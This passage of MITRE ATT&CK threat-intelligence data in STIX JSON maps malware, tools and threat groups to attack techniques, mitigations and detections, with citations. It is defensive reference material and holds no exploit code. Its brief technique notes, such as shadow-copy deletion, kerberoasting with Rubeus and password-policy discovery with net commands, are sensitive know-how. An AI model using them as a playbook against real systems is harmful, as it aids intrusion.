2016.","url":"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:35:31.380Z","description":"Variants of [Emissary](https://attack.mitre.org/software/S0082) encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the \"srand\" and \"rand\" functions.(Citation: Lotus Blossom Dec 2015)(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02206f22-80e9-4f87-9e4b-5c1df1eb737e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-16T19:50:03.325Z","description":"[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim computer name, physical memory, country, and date.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0220ae6b-0dd1-434c-9bde-68ee2b045a53","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.607Z","description":"[RunningRAT](https://attack.mitre.org/software/S0253) kills antimalware running process.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--60d50676-459a-47dd-92e9-a827a9fe9c58","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0220b491-9c13-4bc4-a3e2-e3ad0e8c9733","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"},{"source_name":"Unit42 DarkHydrus Jan 2019","url":"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/","description":"Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}],"modified":"2019-04-24T23:55:43.306Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) uses various WMI queries to check if the sample is running in a sandbox.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0224ebf5-13ef-4fb0-b9e7-53ea58c15a4d","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.858Z","description":"The net accounts and net accounts /domain commands with [Net](https://attack.mitre.org/software/S0039) can be used to obtain password policy information.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0225c7c8-db18-469d-a1aa-566900e297a7","created":"2024-06-06T19:05:42.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T15:39:52.921Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) can identify external USB and hard drives for encryption and printers to print ransom notes.(Citation: Cybereason INC Ransomware November 2023)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02279a7e-d5b8-44a7-99a3-64913b4ffa7b","created":"2024-05-21T17:19:40.803Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:19:40.803Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used commercial tools, LOTL utilities, and appliances already present on the system for network service discovery.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0229d70b-03ef-4744-aa06-348dd4bcbd10","created":"2022-04-14T17:08:46.766Z","x_mitre_version":"0.1","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can use various Linux API functions including those for execution and discovery.(Citation: NCSC Cyclops Blink February 2022)","modified":"2022-04-18T12:31:59.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--022ba33a-16f4-40de-b0b2-4961870aa0c9","created":"2022-04-12T20:15:22.708Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) can obtain a list of users from an infected machine.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-12T20:15:22.708Z","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--022c1740-5adb-473e-a8b3-5b1646c959d8","type":"relationship","created":"2019-01-30T16:46:41.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2019-03-25T14:12:13.507Z","description":"(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--022d2514-26de-457f-8fb4-c5daf36eaef9","type":"relationship","created":"2021-10-01T14:14:43.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-10-01T14:14:43.406Z","description":"[ProLock](https://attack.mitre.org/software/S0654) can remove files containing its payload after they are executed.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02321807-3d39-444d-b977-8737b3c2bacf","created":"2024-02-08T18:59:54.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T19:01:01.405Z","description":"[PULSECHECK](https://attack.mitre.org/software/S1108) can check HTTP request headers for a specific backdoor key and if found will output the result of the command in the variable `HTTP_X_CMD.`(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--9a097d18-d15f-4635-a4f1-189df7efdc40","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--023ded69-4015-4487-bbdb-ab1102f547a0","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor executed commands and arguments that may steal data by exfiltrating it over an existing command and control channel.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--023e615d-0988-4387-a182-ffc15f68581b","created":"2024-08-20T20:05:39.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T18:19:38.616Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) strings are XOR-encrypted.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--023ff141-8ed7-4132-85a0-494fe075236b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"modified":"2021-04-14T14:10:54.613Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware is capable of keylogging.(Citation: Unit 42 Magic Hound Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0245022b-05ac-4d66-ae9f-e4c2f604c07a","type":"relationship","created":"2019-05-31T14:20:13.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.","url":"https://securelist.com/dridex-a-history-of-evolution/78531/","source_name":"Kaspersky Dridex May 2017"}],"modified":"2020-03-20T23:18:04.783Z","description":"[Dridex](https://attack.mitre.org/software/S0384) has encrypted traffic with RC4.(Citation: Kaspersky Dridex May 2017)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--024593ae-03a1-4ffa-a5fc-fc2fe43e6ebf","type":"relationship","created":"2020-11-23T17:35:43.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html","source_name":"FireEye APT34 July 2019"}],"modified":"2020-11-23T17:35:43.337Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tool named VALUEVAULT to steal credentials from the Windows Credential Manager.(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02462741-4148-48b3-881b-1b813ce62fcc","type":"relationship","created":"2017-05-31T21:33:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","source_name":"F-Secure The Dukes"}],"modified":"2019-07-25T14:25:53.431Z","description":"(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--ae9d818d-95d0-41da-b045-9cabea1ca164","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--024d5595-aa4e-4d47-bc31-5b8ea5ed73c0","type":"relationship","created":"2020-10-20T03:29:48.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-27T15:36:38.347Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0252fc3f-1bf0-433f-b619-b874137f84f3","type":"relationship","created":"2021-02-09T14:35:39.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}],"modified":"2021-10-17T16:31:22.137Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) has encrypted files and disks using AES-128-CBC and RSA-2048.(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0253908e-87d0-4804-994c-2ab58c3d3111","created":"2023-03-29T20:53:50.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Rubeus March 2023","description":"Harmj0y. (n.d.). Rubeus. Retrieved March 29, 2023.","url":"https://github.com/GhostPack/Rubeus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T19:07:30.936Z","description":"[Rubeus](https://attack.mitre.org/software/S1071) can use the `KerberosRequestorSecurityToken.GetRequest` method to request kerberoastable service tickets.(Citation: GitHub Rubeus March 2023)","relationship_type":"uses","source_ref":"tool--e33267fe-099f-4af2-8730-63d49f8813b2","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--025b9140-a0aa-4802-b60c-a4fcb886f90c","type":"relationship","created":"2020-01-24T18:15:06.948Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-31T20:46:06.602Z","description":"This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0260e86a-488e-4307-a467-2ccabf430212","created":"2023-03-08T20:42:25.543Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Avertium Black Basta June 2022","description":"Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. Retrieved March 7, 2023.","url":"https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware"},{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"},{"source_name":"Cyble Black Basta May 2022","description":"Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.","url":"https://blog.cyble.com/2022/05/06/black-basta-ransomware/"},{"source_name":"Palo Alto Networks Black Basta August 2022","description":"Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"},{"source_name":"Trend Micro Black Basta May 2022","description":"Gonzalez, I., Chavez I., et al. (2022, May 9). Examining the Black Basta Ransomware’s Infection Routine. Retrieved March 7, 2023.","url":"https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html"},{"source_name":"NCC Group Black Basta June 2022","description":"Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.","url":"https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"},{"source_name":"Trend Micro Black Basta Spotlight September 2022","description":"Trend Micro. (2022, September 1). Ransomware Spotlight Black Basta. Retrieved March 8, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta"},{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"},{"source_name":"Minerva Labs Black Basta May 2022","description":"Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.","url":"https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T20:36:12.199Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can delete shadow copies using vssadmin.exe.(Citation: Minerva Labs Black Basta May 2022)(Citation: Cyble Black Basta May 2022)(Citation: Trend Micro Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Trend Micro Black Basta Spotlight September 2022)(Citation: Trend Micro Black Basta Spotlight September 2022)(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0263d539-39f0-45ca-be2d-0f9198db9af0","type":"relationship","created":"2020-02-12T15:05:04.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021."}],"modified":"2021-10-15T14:15:07.127Z","description":"Disable the SSH daemon on systems that do not require it. For macOS ensure Remote Login is disabled under Sharing Preferences.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02642f69-af18-42ba-a07e-ea44d3a311ea","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Vasport May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"}],"modified":"2020-03-17T02:47:10.950Z","description":"[Vasport](https://attack.mitre.org/software/S0207) creates a backdoor by making a connection using a HTTP POST.(Citation: Symantec Vasport May 2012)","relationship_type":"uses","source_ref":"malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02653ee2-6907-4fb5-b946-9cbd4377ad64","created":"2024-05-29T21:03:42.045Z","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T21:03:42.045Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can use IP geolocation to determine if the person browsing to a compromised site is within a targeted territory such as the US, Canada, Germany, and South Korea.(Citation: SentinelOne Gootloader June 